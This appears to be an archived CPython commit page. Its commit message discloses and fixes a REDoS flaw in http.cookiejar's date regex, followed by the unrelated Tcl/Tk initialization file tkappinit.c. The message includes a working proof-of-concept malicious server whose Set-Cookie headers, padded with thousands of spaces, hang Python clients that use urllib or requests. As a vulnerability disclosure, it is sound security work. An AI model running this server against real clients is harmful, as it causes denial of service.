Staging
v0.5.1
v0.5.1
Revision cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC, committed by GitHub on 22 November 2019, 14:42:13 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent d4d7920
tkappinit.c
/* appinit.c -- Tcl and Tk application initialization.
The function Tcl_AppInit() below initializes various Tcl packages.
It is called for each Tcl interpreter created by _tkinter.create().
It needs to be compiled with -DWITH_<package> flags for each package
that you are statically linking with. You may have to add sections
for packages not yet listed below.
Note that those packages for which Tcl_StaticPackage() is called with
a NULL first argument are known as "static loadable" packages to
Tcl but not actually initialized. To use these, you have to load
it explicitly, e.g. tkapp.eval("load {} Blt").
*/
#include <string.h>
#include <tcl.h>
#include <tk.h>
#include "tkinter.h"
#ifdef TKINTER_PROTECT_LOADTK
/* See Tkapp_TkInit in _tkinter.c for the usage of tk_load_faile */
static int tk_load_failed;
#endif
int
Tcl_AppInit(Tcl_Interp *interp)
{
const char *_tkinter_skip_tk_init;
#ifdef TKINTER_PROTECT_LOADTK
const char *_tkinter_tk_failed;
#endif
#ifdef TK_AQUA
#ifndef MAX_PATH_LEN
#define MAX_PATH_LEN 1024
#endif
char tclLibPath[MAX_PATH_LEN], tkLibPath[MAX_PATH_LEN];
Tcl_Obj* pathPtr;
/* pre- Tcl_Init code copied from tkMacOSXAppInit.c */
Tk_MacOSXOpenBundleResources (interp, "com.tcltk.tcllibrary",
tclLibPath, MAX_PATH_LEN, 0);
if (tclLibPath[0] != '\0') {
Tcl_SetVar(interp, "tcl_library", tclLibPath, TCL_GLOBAL_ONLY);
Tcl_SetVar(interp, "tclDefaultLibrary", tclLibPath, TCL_GLOBAL_ONLY);
Tcl_SetVar(interp, "tcl_pkgPath", tclLibPath, TCL_GLOBAL_ONLY);
}
if (tclLibPath[0] != '\0') {
Tcl_SetVar(interp, "tcl_library", tclLibPath, TCL_GLOBAL_ONLY);
Tcl_SetVar(interp, "tclDefaultLibrary", tclLibPath, TCL_GLOBAL_ONLY);
Tcl_SetVar(interp, "tcl_pkgPath", tclLibPath, TCL_GLOBAL_ONLY);
}
#endif
if (Tcl_Init (interp) == TCL_ERROR)
return TCL_ERROR;
#ifdef TK_AQUA
/* pre- Tk_Init code copied from tkMacOSXAppInit.c */
Tk_MacOSXOpenBundleResources (interp, "com.tcltk.tklibrary",
tkLibPath, MAX_PATH_LEN, 1);
if (tclLibPath[0] != '\0') {
pathPtr = Tcl_NewStringObj(tclLibPath, -1);
} else {
Tcl_Obj *pathPtr = TclGetLibraryPath();
}
if (tkLibPath[0] != '\0') {
Tcl_Obj *objPtr;
Tcl_SetVar(interp, "tk_library", tkLibPath, TCL_GLOBAL_ONLY);
objPtr = Tcl_NewStringObj(tkLibPath, -1);
Tcl_ListObjAppendElement(NULL, pathPtr, objPtr);
}
TclSetLibraryPath(pathPtr);
#endif
#ifdef WITH_XXX
/* Initialize modules that don't require Tk */
#endif
_tkinter_skip_tk_init = Tcl_GetVar(interp,
"_tkinter_skip_tk_init", TCL_GLOBAL_ONLY);
if (_tkinter_skip_tk_init != NULL &&
strcmp(_tkinter_skip_tk_init, "1") == 0) {
return TCL_OK;
}
#ifdef TKINTER_PROTECT_LOADTK
_tkinter_tk_failed = Tcl_GetVar(interp,
"_tkinter_tk_failed", TCL_GLOBAL_ONLY);
if (tk_load_failed || (
_tkinter_tk_failed != NULL &&
strcmp(_tkinter_tk_failed, "1") == 0)) {
Tcl_SetResult(interp, TKINTER_LOADTK_ERRMSG, TCL_STATIC);
return TCL_ERROR;
}
#endif
if (Tk_Init(interp) == TCL_ERROR) {
#ifdef TKINTER_PROTECT_LOADTK
tk_load_failed = 1;
Tcl_SetVar(interp, "_tkinter_tk_failed", "1", TCL_GLOBAL_ONLY);
#endif
return TCL_ERROR;
}
Tk_MainWindow(interp);
#ifdef TK_AQUA
TkMacOSXInitAppleEvents(interp);
TkMacOSXInitMenus(interp);
#endif
#ifdef WITH_PIL /* 0.2b5 and later -- not yet released as of May 14 */
{
extern void TkImaging_Init(Tcl_Interp *);
TkImaging_Init(interp);
/* XXX TkImaging_Init() doesn't have the right return type */
/*Tcl_StaticPackage(interp, "Imaging", TkImaging_Init, NULL);*/
}
#endif
#ifdef WITH_PIL_OLD /* 0.2b4 and earlier */
{
extern void TkImaging_Init(void);
/* XXX TkImaging_Init() doesn't have the right prototype */
/*Tcl_StaticPackage(interp, "Imaging", TkImaging_Init, NULL);*/
}
#endif
#ifdef WITH_TIX
{
extern int Tix_Init(Tcl_Interp *interp);
extern int Tix_SafeInit(Tcl_Interp *interp);
Tcl_StaticPackage(NULL, "Tix", Tix_Init, Tix_SafeInit);
}
#endif
#ifdef WITH_BLT
{
extern int Blt_Init(Tcl_Interp *);
extern int Blt_SafeInit(Tcl_Interp *);
Tcl_StaticPackage(NULL, "Blt", Blt_Init, Blt_SafeInit);
}
#endif
#ifdef WITH_TOGL
{
/* XXX I've heard rumors that this doesn't work */
extern int Togl_Init(Tcl_Interp *);
/* XXX Is there no Togl_SafeInit? */
Tcl_StaticPackage(NULL, "Togl", Togl_Init, NULL);
}
#endif
#ifdef WITH_XXX
#endif
return TCL_OK;
}
![swh spinner](/static/img/swh-spinner.gif)
Computing file changes ...